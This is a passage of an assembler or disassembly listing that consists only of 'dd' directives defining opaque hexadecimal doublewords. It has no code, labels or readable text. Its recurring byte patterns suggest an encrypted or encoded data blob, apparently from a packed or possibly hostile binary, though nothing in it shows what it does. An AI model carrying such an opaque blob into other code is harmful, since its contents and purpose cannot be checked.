		dd 0ED58744Fh, 1442A016h, 4091AF89h, 54ADC9A4h,	556D6D42h
		dd 0F36234E3h, 8FA16DBBh, 0F193D3BAh, 0CA19F492h, 49FD7EBh
		dd 0C6D873ABh, 6EB5D1ACh, 7B567D4Eh, 18AA185Fh,	104BCA6h
		dd 69B925B7h, 420017ECh, 485AC314h, 0A0807773h,	0E5581442h
		dd 0B33092E6h, 1442A0CCh, 0F911EE8Ah, 0B5F18EA0h, 5F7B560Fh
		dd 16F49218h, 1B2DC800h, 0F49228F9h, 2EC90115h,	42A03CC3h
		dd 8319A14h, 8EE1BA58h,	2D3F98B2h, 9221AA58h, 71FD19F4h
		dd 0AA457D93h, 87A37E98h, 8221AA40h, 2FA847ABh,	0AF567F3Dh
		dd 0A0621592h, 80F01442h, 1D5DEDCh, 0D6DBA4F7h,	0BE0EC323h
		dd 1590028Dh, 0BD16B2ECh, 0E43D5331h, 567D4E9Dh, 4E185F7Bh
		dd 6179567Dh, 0BE658E29h, 1DAE21AAh, 1A617956h,	0F9A618AAh
		dd 632A3E95h, 0B9BF94A6h, 6E159212h, 0EC1442A0h, 245C7250h
		dd 4EE93089h, 577C567Dh, 3FCD6426h, 3980D9D6h, 8CA618AAh
		dd 15F7D138h, 92DF6E92h, 88CB1B32h, 4243740Bh, 2079E214h
		dd 0F492390Eh, 2EC90115h, 0A8EC231Ch, 92B41442h, 0C5FD19F4h
		dd 0CF229023h, 2C8504E7h, 0F3AA62CCh, 92A452BEh, 31819D78h
		dd 0A1AD52CFh, 0C0291442h, 21AAD9AEh, 209212B9h, 1B6E6835h
		dd 7E5F7B3h, 4252F58Ah,	0A8F86114h, 5232C946h, 37A01442h
		dd 0E07D39D7h, 1E30B470h, 927D4E49h, 0A0CCB330h, 218A1442h
		dd 0FD9B650Fh, 1FF40622h, 42A08077h, 0E6E55814h, 0AEF193D3h
		dd 65DDA214h, 5F0B221Ah, 42E71DE2h, 0F750B914h,	66DD3F97h
		dd 8FA1EAD5h, 667D56BAh, 0A0F08704h, 0F55E1442h, 42A0F58Ah
		dd 0EAC56114h, 0AE975CEh, 0AA569DF6h, 9212B921h, 42A06E15h
		dd 0C27BED14h, 0D09AB11Fh, 0A20BEAFCh, 707FE052h, 4E34CB48h
		dd 39A21442h, 88F5D6D9h, 7D4EA176h, 0CCB33092h,	8A1442A0h
		dd 92160F21h, 0EA34D7C0h, 16F492h, 0DBFBD4EEh, 927D4E94h
		dd 0A0CCB330h, 1A8A1442h, 47DC150h, 93A5FE62h, 38DB9C9Ah
		dd 0F492F436h, 30ADFD19h, 1442A04Bh, 728C9E07h,	4E347B97h
		dd 0F0C00274h, 4530FEBDh, 7F1A5266h, 923F1426h,	0C6FE18F4h
		dd 24FF192Bh, 21AAC108h, 51AF492h, 42A0F388h, 9DF65F14h
		dd 0DD6ACA65h, 6408AA4Dh, 57304A5Ch, 18AAF037h,	866941A6h
		dd 30427F36h, 0D30BC05Bh, 7B56F193h, 97710F5Fh,	94A64179h
		dd 567D4EBFh, 4E165D7Dh, 5F7B567Dh, 7721AA18h, 1442A085h
		dd 0D309C255h, 7B56F193h, 0F492185Fh, 2CC7FF17h, 5627F81Ah
		dd 0AA185F7Bh, 923F8C21h, 0EE0016F4h, 7B56FBCCh, 21AA185Fh
		dd 42A08577h, 35965514h, 56F193D3h, 4E185F7Bh, 0EE951274h
		dd 6C1442A0h, 849FA303h, 3C7180DEh, 2092552Ah, 58FA8FC1h
		dd 20401966h, 0C09BB5C7h, 0D9B654A4h, 54B64DCAh, 0BB241442h
		dd 0AA7B5062h, 82A07A18h, 0C89DAF4Ah, 0ECBC477h, 0E5E69439h
		dd 0FE18F492h, 7C192BC6h, 20929AC8h, 60A0C667h,	7F979999h
		dd 1C1C98C2h, 1F673C3h,	0CD14424Ah, 5D385264h, 744EFA41h
		dd 93D7FCD6h, 0AB4E3A11h, 963169C2h, 0DC142E0Ah, 565A2F41h
		dd 0AA1A6179h, 843C7721h, 920C120Dh, 0A0CCB330h, 754F1442h
		dd 8B9D0657h, 33759471h, 7741165Bh, 62C4146Dh, 423D1EE5h
		dd 0BFD9AD14h, 8C36342Ch, 6A46D23Bh, 6B7D1850h,	567D4E96h
		dd 9F116179h, 0B6809249h, 0CFA4B696h, 7721AAh, 0D829B99Dh
		dd 93D35E6Dh, 2E7956F1h, 102E084Fh, 0ACE43DD8h,	0CA68B811h
		dd 0FE99D1F1h, 7D4E17ECh, 1A617956h, 0C4521AAh,	920DBE8Ah
		dd 0C80016F4h, 0C67E1B2Dh, 6179569Ch, 567D4E1Ah, 19545A79h
		dd 0FE24FC01h, 8F0B5A9Eh, 55EDD40h, 0B82092BEh,	3B45F1E6h
		dd 0C64F1527h, 1D9B8677h, 0D4AF4D21h, 0D3E580B8h, 0D30BC0FEh
		dd 7956F193h, 0FF37532Eh, 0E2FCD864h, 6FB60FAAh, 79567D4Eh
		dd 18AA1A61h, 4B839F7Ah, 77C99EB0h, 3A3A3C10h, 0D3E6E5E8h
		dd 0F492F193h, 9372FE18h, 76536D7Fh, 7D4E175Eh,	185F7B56h
		dd 795621AAh, 32AF1161h, 1442A04Dh, 3340A009h, 727ACF6h
		dd 0AA986D7Fh, 4239B618h, 101442A0h, 6DC095A7h,	0F193D35Eh
		dd 0CCB33092h, 8A1442A0h, 1AF50F21h, 7D4EB7FEh,	0E65A7956h
		dd 60C493AEh, 4E4A91EAh, 5F7B567Dh, 0B3309218h,	1442A0CCh
		dd 0F812EE8Ah, 0BACC25C0h, 20926BF4h, 784CF613h, 0A2E909BFh
		dd 197131F4h, 0BA94AEC0h, 7D4E559Ch, 0F5F7B56h,	6C7E9271h
		dd 0D6744E97h, 0AA5DDFDh, 9B923F8h, 0A0552AA7h,	98011442h
		dd 0F492B186h, 29C4FC1Ah, 0A0A75CD9h, 0CA331442h, 0A65DDAB8h
		dd 341442A0h, 0A0A057D4h, 0CE2E1442h, 42A0AA51h, 66BF2814h
		dd 0F492C60Dh, 2DC80016h, 92CC551Bh, 8A0718F4h,	1442A0F5h
		dd 679FF861h, 4AA3BD99h, 8EC6E4BEh, 0EDC7E1F3h,	0F49288CFh
		dd 26ECFE18h, 0FF1BF694h, 427A9A73h, 6DC095A7h,	6D3FE355h
		dd 47374BFEh, 8BC3E1BBh, 9209DEF0h, 0EEF817F4h,	5EE5D7A8h
		dd 67023A93h, 0D68CB855h, 0FA9709B9h, 0D602117h, 92BB90A2h
		dd 42A06E15h, 0E8BED14h, 1442A069h, 730885E5h, 0DF1442A0h
		dd 2C0B1D76h, 6199B590h, 92266DC6h, 42A06E15h, 3C83EC14h
		dd 0F4927D4Eh, 28C3FB1Bh, 422FC16h, 1D3D16B4h, 0F492360Bh
		dd 0CDEF0115h, 0AA12B9FCh, 8AA17A18h, 42A0760Dh, 227BE414h
		dd 12B93B10h, 0FB1BF492h, 501628C3h, 18F492C7h,	0F5D2ECFEh
		dd 7D4E96DDh, 1B627856h, 5C621AAh, 1B627856h, 78567D4Eh
		dd 18AA1B62h, 317AA17Ah, 4EFA1EDAh, 0AA5DD36h, 807723F8h
		dd 581442A0h, 93D35E6Dh, 627856F1h, 567D4E1Bh, 0E9D85B78h
		dd 0C5651A97h, 88F11442h, 918B928h, 21AA69B0h, 42A08077h
		dd 5E6D5814h, 92F193D3h
		dd 7F893620h, 42A37D02h, 1070D914h, 33B0C287h, 1442E34Ch
		dd 3648A10Ah, 19F53E1Ch, 0D32CC7FFh, 827D4E8Ch,	90BCB7BFh
		dd 38DF08BDh, 785621AAh, 21AA1B62h, 159212B9h, 1442A062h
		dd 4E4087F0h, 6278567Dh, 0AE7D4E1Bh, 50977614h,	85205876h
		dd 92451A2Ch, 0EEC81BF4h, 0A4FD98D0h, 0A5BFD16Ch, 0EC5EAECAh
		dd 16434972h, 0B58A9CE8h, 0FCC621AAh, 5567835Eh, 16F49280h
		dd 0F9D4EE00h, 7D4E96DDh, 0EB687B56h, 1442A014h, 0A0B146C3h
		dd 0B41D1442h, 5AA1FA63h, 807721AAh, 581442A0h,	0DEB7556Dh
		dd 5DDBF6B7h, 156EE9B4h, 93D32E03h, 5F7B56F1h, 7B95710Fh
		dd 20929469h, 0C523D8EAh, 0E2FCD801h, 0A4B60FAAh, 7B56B182h
		dd 21AA185Fh, 42A08077h, 5E6D5814h, 56F193D3h, 710F5F7Bh
		dd 0A9447C94h, 0EC24441Dh, 4E6A3F51h, 0E1F9D674h, 0A06F1491h
		dd 82EB1442h, 12B99B70h, 7B5621AAh, 21AA185Fh, 9A709B9h
		dd 0D3A8132Dh, 7F1442A0h, 922F0416h, 42A06215h,	4087F014h
		dd 2D02744Eh, 9E712AD6h, 56DEB3C5h, 14EB687Bh, 0C21442A0h
		dd 0F52D4D26h, 61A8015Ah, 77567D4Eh, 67902B63h,	223E19B7h
		dd 0F4923B10h, 26ECFE18h, 561DAE9Dh, 9D0F5F7Bh,	7F5AF653h
		dd 0DEBF0363h, 9DAA51CEh, 0BF281442h, 0AA7F5466h, 0EC8F7721h
		dd 0E4566A0Ch, 4FACF1EBh, 7D9974D8h, 563D1224h,	710F5F7Bh
		dd 93687A96h, 30927D4Eh, 42A0CCB3h, 0F218A14h, 0B7FE1AF5h
		dd 3F8C21AAh, 0FCD6744Eh, 56F7CCDEh, 0AA1A6179h, 0A0847721h
		dd 56541442h, 4E1A6179h, 0E2F8D674h, 4DBC5082h,	0F709AE6Fh
		dd 16F49222h, 80967400h, 5F77546Eh, 7721AA18h, 553EA9EBh
		dd 0D35E6DC3h, 7956F193h, 744E1A61h, 0A0EE9512h, 53311442h
		dd 7183EC3Dh, 0B330929Ch, 1442A0CCh, 0F50F218Ah, 419DF918h
		dd 586F4888h, 21AAB8FFh, 0B8C71577h, 5E6DE575h,	56F193D3h
		dd 3B4F2E79h, 20929BE2h, 20FDB2F0h, 0D535D008h,	2908B591h
		dd 0E942DD15h, 56E4B5D7h, 0AF116179h, 42A04D32h, 6990914h
		dd 0E0F83196h, 1AEF015Ah, 0E3C12092h, 0C889D4FAh, 5667F0B6h
		dd 0F556587Bh, 7A717CFFh, 26C2F91Ah, 51AAA85Eh,	5621AA0Ah
		dd 58265E7Ch, 0C4FF5B7Ch, 0FB4B3AEh, 0CFDC7EB6h, 5AA78032h
		dd 5C0885A7h, 0D3181714h, 7956F193h, 7D4E1A61h,	1A617956h
		dd 309221AAh, 42A0CCB3h, 0F218A14h, 0B8C7F416h,	0E6E58475h
		dd 0FF17F492h, 7D1A2CC7h, 30929BC9h, 42A0CCB3h,	95218A14h
		dd 748EA0B8h, 4E387F97h, 7AA10274h, 554A31AEh, 9F081442h
		dd 224BA43Fh, 79563B10h, 21AA1A61h, 0FB1BF492h,	0A960F0E9h
		dd 0C133553Eh, 3EBB4A30h, 553E78B9h, 2B4CAC15h,	0DCB1C32Bh
		dd 0F492E6E5h, 2CC7FF17h, 9BC97D1Ah, 1A617956h,	79567D4Eh
		dd 0EB9F1161h, 0D2862248h, 0AAE3B8CAh, 5F7B5621h, 12744E18h
		dd 42A0EE95h, 0F1036C14h, 0CE30921Ch, 42A0AA51h, 54BF2814h
		dd 1442A0AFh, 0C0F816F0h, 596BD425h, 0D653623Fh, 1442A021h
		dd 0A4EB44ADh, 7C567D4Eh, 0A015EA67h, 58C11442h, 18AAB8FFh
		dd 0D2D58DA6h, 0A5B74613h, 885677D0h, 0AB1D4ECCh, 6EF2DFA3h
		dd 0EBC652FBh, 56E8BDCFh, 4E175E7Ch, 5E7C567Dh,	9221AA17h
		dd 405A0720h, 96363BBDh, 15E6FBB4h, 787183DCh, 1B27C7C3h
		dd 925E6D99h, 0A0CCB330h, 218A1442h, 9032720Fh,	0E5E7C56h
		dd 65779770h, 927D4E90h, 7FC54620h, 0B9CB1CCDh,	61A8C49Fh
		dd 7C5621AAh, 0DC354F2Bh, 0FC3B1A8Ch, 410D6868h, 42D43FC4h
		dd 0D9329B14h, 3092F2C7h, 42A0CCB3h, 0FEE8A14h,	0CF28C3FBh
		dd 144C6843h, 0FA16779h, 6A7C9471h, 0D3884395h,	6C4AE893h
		dd 926F4456h, 7F51AF4h,	7A6CEA43h, 0BBD5E740h, 99B791E0h
		dd 266DC661h, 0FC1AF492h, 56F7C8EAh, 3BCA577Ch,	0CF4DED71h
		dd 0F4922F76h, 28C3FB1Bh, 0A5CE1CC8h, 5365F91Bh, 0E0B95731h
		dd 56D9AEC0h, 92185F7Bh, 99B99230h, 42A0492Eh, 8A9C0514h
		dd 6B773BC4h, 43741F45h, 93D3E6E5h, 17F492F1h, 7AD3F3CCh
		dd 7B95A742h, 4E3D84A0h, 0DFFBD674h, 0FDAC0CA7h, 1E074E1Fh
		dd 92BC91A3h, 0A0CCB330h, 0E8B1442h, 1442A069h,	8F2B7CE5h
		dd 0C8639BB1h, 68435D6Fh, 825EFC4Ch, 0AA815668h, 839F7A18h
		dd 0C99EB04Bh, 0ADADDB77h, 5E6DB33Eh, 0CCB33092h, 8A1442A0h
		dd 32720F21h, 5F7B5690h, 567D4E18h, 0AA185F7Bh,	18F49221h
		dd 0F3D2ECFEh, 21AA98DFh, 93D35E6Dh, 5F7B56F1h,	0D6744E18h
		dd 0FAAE2F8h, 7B5628FDh, 0DC35512Ch, 451C1A8Ch,	0F1293F1Dh
		dd 0A7B0F656h, 0AAB58A9Ch, 0ADDB7721h, 0E5B33EADh, 0E893D3E6h
		dd 0A0720986h, 77E01442h, 7B569065h, 3092185Fh,	0C7FA52BEh
		dd 9E09A37Bh, 1442ABD9h, 0D8FA0C75h, 51209207h,	0D3D78AF8h
		dd 0E2BFD9EBh, 21AA83CAh, 2168464Dh, 0FCD6744Eh, 6A118EDEh
		dd 0E81442A0h, 92986D7Fh, 0EE0016F4h, 69E6F9D4h, 1442A092h
		dd 7826D040h, 110D93BFh, 374F2CB8h, 309297DEh, 42A0CCB3h
		dd 0F218A14h, 0E4771CEDh, 0B41442A4h, 1A617956h, 39B618AAh
		dd 1442A042h, 0A9E1F7D5h, 4254BD0Eh, 9212B96Dh,	42A06E15h
		dd 107BED14h, 1801FF9Ah, 0A50EEDFFh, 0B330925Eh, 1442A0CCh
		dd 0ED0F218Ah, 0AA12B91Ch, 18F49221h, 192BC6FEh, 0C40B21FFh
		dd 0CCB33092h, 8A1442A0h, 1CED0F21h, 0FB1BF492h, 0A3F6CFE9h
		dd 0A977AFC5h, 0DD78B0D0h, 0AAE42B84h, 5605C621h, 4E165D7Dh
		dd 607A567Dh, 1BF49219h, 1628C3FBh, 3092C750h, 42A0CCB3h
		dd 5C704F14h, 0CF388924h, 0AACAA3BDh, 1BF49263h, 1628C3FBh
		dd 7E77C750h, 452B79E8h, 4D6B45E3h, 680F7A15h, 0E62B79E9h
		dd 0F851714Ah, 40788E6Ch, 92BE93A5h, 9CB69230h,	995EC964h
		dd 261442A0h, 0CDC2C67Dh, 970051E8h, 3152F0Bh, 0A9F010E9h
		dd 30927D4Eh, 42A0CCB3h, 0F218A14h, 79E89B16h, 0F492F12Bh
		dd 28C3FB1Bh, 620FC16h,	2744EBFh, 1A303833h, 7106833Dh
		dd 0DD1442BBh, 34091B74h, 19607A56h, 7D5621AAh,	906F0D5Dh
		dd 0A0730885h, 76DF1442h, 384AE51Dh, 19F49263h,	182AC5FDh
		dd 0BC0C952h, 86E893D3h, 42A07209h, 6844E014h, 227B164Eh
		dd 0E14C64C2h, 4052A990h, 597A566Bh, 7E87C7DCh,	0EC338C8Ah
		dd 7D567D4Eh, 7D4E165Dh, 165D7D56h, 7A5621AAh, 21AA1960h
		dd 265E7C56h, 29617D58h, 2B63815Bh, 98CC9390h, 0D35463D8h
		dd 714AE893h, 6C7E1951h, 5D7D5697h, 15F49216h, 1C2EC901h
		dd 0A68220FAh, 0A7B9548Ch, 607A56D2h, 1BF49219h, 1AF5C3FBh
		dd 0D22BC6FEh, 56CD9EC0h, 0AA165D7Dh, 0A0807721h, 0B14F1442h
		dd 0D7ACBED2h, 93D35E6Dh, 5D7D56F1h, 340DAB0Dh,	0D641DC14h
		dd 1442A021h, 5D3244ADh, 7D567D4Eh, 21AA165Dh, 39627856h
		dd 6E159292h, 0EC1442A0h, 21AA3C83h, 93D30BC0h,	720986E8h
		dd 0E01442A0h, 56906577h, 4E165D7Dh, 0AA12B97Dh, 5D7D5621h
		dd 0A618AA16h, 91924D4h, 54293B43h, 93D30BC0h, 6E1592F1h
		dd 0EC1442A0h, 92B35A83h, 42A06E15h, 744FED14h,	2CF49151h
		dd 0EA43A0EBh, 260517B2h, 7D4E76BDh, 165D7D56h,	468221AAh
		dd 0B9544306h, 7CB4C8A7h, 0BB3888E1h, 144296C4h, 59002992h
		dd 0A06E1592h, 83EC1442h, 0C021AA3Ch, 0F193D30Bh, 165D7D56h
		dd 14AE7D4Eh, 1C3A14B2h, 19DE49E4h, 0A61442A0h,	0D51A59D5h
		dd 1CB809E8h, 55F0283Eh, 4D15EAFCh, 92256C42h, 0A6B84B15h
		dd 59A00913h, 785621AAh, 92923962h, 0EBFD19F4h,	42779C25h
		dd 1A6464FEh, 93D30BC0h
		dd 9212B9F1h, 42A06E15h, 3C83EC14h, 15927D4Eh, 1442A06Eh
		dd 0B35A83ECh, 795621AAh, 32AF1161h, 1442A04Dh,	0B98EA009h
		dd 7D567D4Eh, 0F492165Dh, 25C7FF17h, 0FD1B67D8h, 0C8DA33E5h
		dd 0FCC67902h, 0A0661D9Ah, 58F41442h, 922D6579h, 0B9522739h
		dd 9221AA12h, 2310EA20h, 0B84484FEh, 0ED88C0DEh, 0C8E8C1DBh
		dd 0C67D4E81h, 0A0807705h, 6D581442h, 0F193D35Eh, 7D561DAEh
		dd 21AA165Dh, 42A08077h, 5E6D5814h, 56F193D3h, 12E9667Dh
		dd 0C01442A0h, 0D2F2CB57h, 5FA6FF9Ah, 0F7D6744Eh, 0FE10ABE3h
		dd 5D7D5629h, 9221AA16h, 3E540520h, 0A5F57579h,	422C5328h
		dd 8496FF14h, 422CF48Bh, 78566C14h, 825C2A62h, 0C84B2C64h
		dd 9B60DD9Ch, 371442A0h, 0F10075CEh, 56F193D3h,	4E165D7Dh
		dd 607A567Dh, 0BD648D28h, 7D5621AAh, 0A012E966h, 0ACB11442h
		dd 0EA860763h, 0CBA74394h, 85DE79B1h, 21AAE52Ch, 0F49212B9h
		dd 0DEBFD19h, 42A0E790h, 8E0B6B14h, 1442A0E9h, 5CA3FC65h
		dd 0CCB33092h, 8A1442A0h, 9EBA9521h, 97B9CB66h,	15F492C6h
		dd 0FCD5EF01h, 7D4E95DCh, 6FA214AEh, 2AE2AC73h,	5653283Ah
		dd 0AA19607Ah, 81A17A18h, 0E779A6Fh, 0DE25D7CAh, 19607A56h
		dd 4302744Eh, 2CD350ACh, 0AA144286h, 255EE141h,	56390E20h
		dd 0AA19607Ah, 82A07A18h, 0E25FAF4Ah, 1442A01Dh, 693E50B9h
		dd 16F492h, 16B40AEEh, 4EE92139h, 7D4E673Ch, 19607A56h
		dd 0CCB33092h, 8A1442A0h, 9EBA9521h, 0F3B9CB66h, 14B2EF61h
		dd 162C0489h, 2C9F2F04h, 0FD19F492h, 7B182AC5h,	0F49299CBh
		dd 28C3FB1Bh, 9223F416h, 0C4FC1AF4h, 1EFD1729h,	411CBA0Ah
		dd 4052ED25h, 7A18AA6Bh, 0B34E869Ch, 0EF77CCA1h, 0BF624AC5h
		dd 439D2092h, 0D48828D6h, 0B5C9A8C2h, 0F1860365h, 5D1442DEh
		dd 4E0DE2F4h, 697A567Dh, 42A017ECh, 0E663C314h,	1442A011h
		dd 0A2FB54BDh, 5621AA5Bh, 0AA1C6377h, 61795621h, 63815B29h
		dd 6125EC2Bh, 0D3353431h, 7A56F193h, 95721060h,	98AA457Dh
		dd 567D4EC3h, 4E1C6377h, 607A567Dh, 8C21AA19h, 0F572D436h
		dd 1442A00Eh, 3F863CCh,	0CF1442A0h, 4E7F5466h, 0E3F7D674h
		dd 29FE10ABh, 19607A56h, 34521AAh, 0F006E482h, 360B1DB8h
		dd 30920DBEh, 42A0CCB3h, 8D1A8A14h, 0AF40BAEEh,	8E0B5BB4h
		dd 14425DE9h, 4DEAFC65h, 0F4926B19h, 9572FE18h,	75516B7Dh
		dd 946D0B5Bh, 4E8D6274h, 697A567Dh, 69D4F0CBh, 1442A092h
		dd 377ED740h, 9D7A18AAh, 779E7385h, 66476994h, 0D30BC064h
		dd 2092F193h, 4FE60FADh, 0F10DE8FAh, 906C8698h,	7D4E2F76h
		dd 11617956h, 2B7B9973h, 42A0C9AEh, 0A1C8514h, 5621AA35h
		dd 0AA19607Ah, 920BC021h, 1DC2E420h, 132552EBh,	9294CE76h
		dd 0AA107120h, 0B0C26D6Eh, 8F6EB996h, 34D2227Bh, 68033B5Bh
		dd 7D4E8156h, 0EC697A56h, 1442A017h, 0BA015AC3h, 0F9D6744Eh
		dd 7125C4DAh, 338CE2AAh, 3A4E2DFBh, 0FC0E6702h,	5E7C5627h
		dd 92209217h, 6FDCB55h,	32BB8193h, 91862092h, 2510A7BFh
		dd 41CF913h, 15F492BDh,	7CD5F5CEh, 0D197A944h, 0B2E37748h
		dd 56BB3D50h, 35552E79h, 0C20962FDh, 0FE18F492h, 52F0CAECh
		dd 73485A78h, 1A617956h, 619F492h, 42A0F289h, 9EF76014h
		dd 0A1BD9866h, 6375CE69h, 2092149Dh, 217DCDEh, 622FD98h
		dd 0C8DA33CEh, 0B4DFA79Dh, 0E893D317h, 1A52704Ah, 0CDB22F7Fh
		dd 891442A0h, 56390E20h, 4E1A6179h, 6179567Dh, 7721AA1Ah
		dd 5977842Ch, 0D30BC0FCh, 7956F193h, 0E13A502Eh, 567D4E9Ah
		dd 0AA1A6179h, 2B7C5621h, 96DD364Eh, 9512744Eh,	1442A0EEh
		dd 7D9EFC6Ch, 0DA0DBC8Fh, 929A6F81h, 0C90115F4h, 0AFC3A22Eh
		dd 8EA6839Dh, 0B3309247h, 1442A0CCh, 0ED0F218Ah, 5F7B561Ch
		dd 0C621AA18h, 0A0807705h, 0E5581442h, 0E893D3E6h, 44566C4Ah
		dd 561DAE6Fh, 36EB597Ah, 0F390C796h, 0D0AC4A9Ah, 0CE7477AFh
		dd 389122F5h, 7E536500h, 12B921AAh, 0A06E1592h,	8BED1442h
		dd 42A0690Eh, 6A7CE514h, 34D2228Bh, 6D084056h, 0F492865Bh
		dd 0CAECFE18h, 617956F9h, 5621AA1Ah, 700E5E7Ch,	0A43F7797h
		dd 21AABD92h, 552E7956h, 0EE8CDC35h, 10E5F713h,	79567D4Eh
		dd 21AA1A61h, 522D7A56h, 0A63FE36h, 567D4EC3h, 4E1A6179h
		dd 607A567Dh, 5621AA19h, 4E185F7Bh, 607A567Dh, 927D4E19h
		dd 0A0CCB330h, 218A1442h, 0FE1AF50Fh, 7A18AAB7h, 9C71839Fh
		dd 18AA12B9h, 8F424AA6h, 6CF86EDAh, 9267798Dh, 6A8A6B77h
		dd 7C56437Ch, 7C58265Eh, 0C6492A62h, 0A9C39F9Eh, 807DD671h
		dd 0E893D381h, 0B2E1CD76h, 0BCCE566Ah, 0A709B9E7h, 42A0552Ah
		dd 86980114h, 923092B1h, 0C8639BB7h, 3244623Ch,	42A04239h
		dd 60A71014h, 0FD19F492h, 0F6182AC5h, 401CBA1Ch, 0A0C4BB26h
		dd 29921442h, 78564217h, 744E1B62h, 67D7FCD6h, 75460E35h
		dd 9E7D0962h, 0A5B7528Ah, 627856D0h, 9230921Bh,	0C66199B9h
		dd 42A0A45Bh, 69C93214h, 52B4F8E9h, 0E2A8BAE4h,	19F49259h
		dd 7E9271FDh, 8A67736Ch, 6D3F7C6Ah, 0E893D35Eh,	0A0720986h
		dd 64E11442h, 1442A09Fh, 1881D23Bh, 0F4923106h,	0D4F2CC17h
		dd 1CA8437Bh, 0F9132541h, 4EBE051Bh, 5F7B567Dh,	567D4E18h
		dd 4E175E7Ch, 6A444D7Dh, 5621AA23h, 0AA1B6278h,	92418A21h
		dd 0EECC17F4h, 0AC05A0D8h, 1B49FD9Ah, 57642092h, 0CCD6929Dh
		dd 1B20DFBAh, 1AB5E05Bh, 0DE00000Ah, 165D7D56h,	9D7A18AAh
		dd 0A0B24D85h, 8AFCC6CBh, 400EEA01h, 754A5CDAh,	0D5D7D56h
		dd 4078946Fh, 4EBE93A5h, 0DFFBD674h, 0E3FDD9A7h, 0A5B710ABh
		dd 307756D0h, 9AE13A54h, 807721AAh, 581442A0h, 1C637756h
		dd 7D567D4Eh, 23014E2Ah, 4C28B40Dh, 65FFA32h, 9221AABFh
		dd 0C90115F4h, 92231C2Eh, 0CA23A8E4h, 93D3E6E5h, 720986E8h
		dd 0E01442A0h, 0D5AA2777h, 811442A0h, 56310618h, 32502A7Dh
		dd 14EB68FAh, 0C21442A0h, 60A70059h, 619F492h, 42A0F289h
		dd 9EF76014h, 56996A8Ch, 0AA165D7Dh, 5C775621h,	0BF911AE0h
		dd 4188E108h, 16F492h, 220FAC8h, 76D62FCAh, 69CC27E7h
		dd 29EF0172h, 0F3556DA0h, 42A08176h, 0D2E44D14h, 0F193D3FDh
		dd 165D7D56h, 7D567D4Eh, 21AA165Dh, 0F0BE3092h,	0AF8565A4h
		dd 0CA1FE44Fh, 52BB1442h, 8E7E4740h, 6DEE23A8h,	0DD20925Eh
		dd 0B61616DFh, 0BDDDB642h, 3BD8EA85h, 61DE500Bh, 0F40EEA3Ah
		dd 97C121BCh, 320719A2h, 0D5D7D56h, 6A7C906Fh, 2744E95h
		dd 45F73EFAh, 4C2133A0h, 54307756h, 966DEA3Ah, 441442A0h
		dd 4E3B82DBh, 5D7D567Dh, 92309216h, 0CC679FB3h,	42A09A61h
		dd 721FD14h, 753B4DB6h,	18F492ECh, 0AA24C6FEh, 0EECEEBA4h
		dd 40394BA4h, 144207BBh, 0D3E6E521h, 3092F193h,	42A0CCB3h
		dd 15EE8A14h, 708A9CF5h, 0C5277797h, 0C42F4D27h, 1442A03Fh
		dd 0CAA6329Bh, 0CBDD78B0h, 0BE3092F6h, 1FFB0286h, 0D5AA15FBh
		dd 721442D1h, 33B97FDCh, 0E454A5E1h, 66020941h,	0FF116A50h
		dd 7D560CDDh, 21AA165Dh, 0F49212B9h, 0EECFE18h,	42A0EA91h
		dd 0F1F76914h, 9A74D866h, 0A057D424h, 2E144276h, 6BD4B3C5h
		dd 0C021AA24h, 0F193D30Bh, 4E2A7D56h, 861FC34h,	2744EC1h
		dd 0CDBF6AC2h, 7EFB4B40h, 144226F9h, 5DAEC55h, 0D7637756h
		dd 7B7E0FCh, 3F0C1C95h,	0E4F6D978h, 18F4920Fh, 7AD3F1CBh
		dd 0E8FA10EEh, 7D569922h, 0A012E966h, 24C01442h, 7BD42D49h
		dd 0C021AA34h, 0F193D30Bh
		dd 159212B9h, 1442A06Eh, 0C13383ECh, 0D3EA6E6Fh, 795AA090h
		dd 13EFED93h, 92D3A8BAh, 0C51D320h, 0B4311910h,	14428BCFh
		dd 0B7C9228Bh, 7D56C495h, 21AA165Dh, 159212B9h,	1442A06Eh
		dd 5B7350ECh, 21FC8823h, 0AA65AC05h, 0D30BC021h, 714AE893h
		dd 4F06C24Ah, 0FB546DB6h, 7D5614E9h, 0A012E966h, 57C01442h
		dd 0A0F58A07h, 0F8611442h, 7D4E589Fh, 21AA12B9h, 997614AEh
		dd 9CAE4981h, 617956C7h, 0B618AA1Ah, 42A04239h,	0E2F6D514h
		dd 41162891h, 0A06E1592h, 0D9DD1442h, 781B8C14h, 5079E233h
		dd 0A2802A0h, 502537D2h, 0FF17F492h, 0ED920FEDh, 6A1442A0h
		dd 9FD7EFCCh, 0AA13F204h, 0B97D4E63h, 7A18AA12h, 1FF8849Eh
		dd 0B918EDFFh, 73916B09h, 21AA8C61h, 0CCB33092h, 8A1442A0h
		dd 19F50F21h, 7D4EB8FFh, 845EFCC6h, 23A5A33h, 27FC0E67h
		dd 42A08077h, 5E6D5814h, 0AEF193D3h, 4E35B214h,	0C1442A0h
		dd 56BC91A3h, 0F2CD6B78h, 98039ED6h, 1442A0E3h,	33B5B34h
		dd 4EAE1768h, 90D0EC3Bh, 90D730EAh, 0FCC621AAh,	6E95618Ah
		dd 0D5611E85h, 0F7CCDEFAh, 1B627856h, 0C81BF492h, 3E76CFEFh
		dd 9E6F91A3h, 1B627856h, 807721AAh, 581442A0h, 255D7D56h
		dd 28607C57h, 531F47C4h, 0F492CFDEh, 2EC90115h,	94C77F1Ch
		dd 0E823AB22h, 0AFC17AF1h, 6B7856DAh, 42A009EEh, 35CC514h
		dd 567D4EBCh, 74126278h, 94697B9Bh, 807721AAh, 581442A0h
		dd 2A627856h, 31697D5Ch, 0D299CD50h, 2ED69939h,	0C81DA6Bh
		dd 0F193D3FDh, 1B627856h, 5C67D4Eh, 42A08077h, 0E6E55814h
		dd 0AEF193D3h, 16F4921Dh, 0D636EBF9h, 0E23BC68Fh, 0E3FD0FAAh
		dd 19FEF05h, 23F80A26h,	9C7A18AAh, 0C2B93686h, 901442A0h
		dd 56401527h, 0FDD66278h, 0E10AA5DDh, 6E15923Ah, 0EC1442A0h
		dd 7D4E3C83h, 0E69709B9h, 851C0D8Fh, 924F2436h,	0A0CCB330h
		dd 218A1442h, 0CFB4310Fh, 8C1442A0h, 0A9F211EEh, 5D7A86D2h
		dd 3C1B2D86h, 0BE512DCCh, 1F6FEDF3h, 426BDDA2h,	0B7107914h
		dd 47930567h, 22E766F9h, 12B348B3h, 0AF1F1442h,	44477FF0h
		dd 6779D275h, 0B921AA92h, 7A18AA12h, 5A76519Eh,	1C2EC901h
		dd 62785647h, 0D6744E1Bh, 0F9CEE0FAh, 807705C6h, 581442A0h
		dd 20925E6Dh, 343CF603h, 0FD9AACF3h, 14AE1B49h,	87B24AA2h
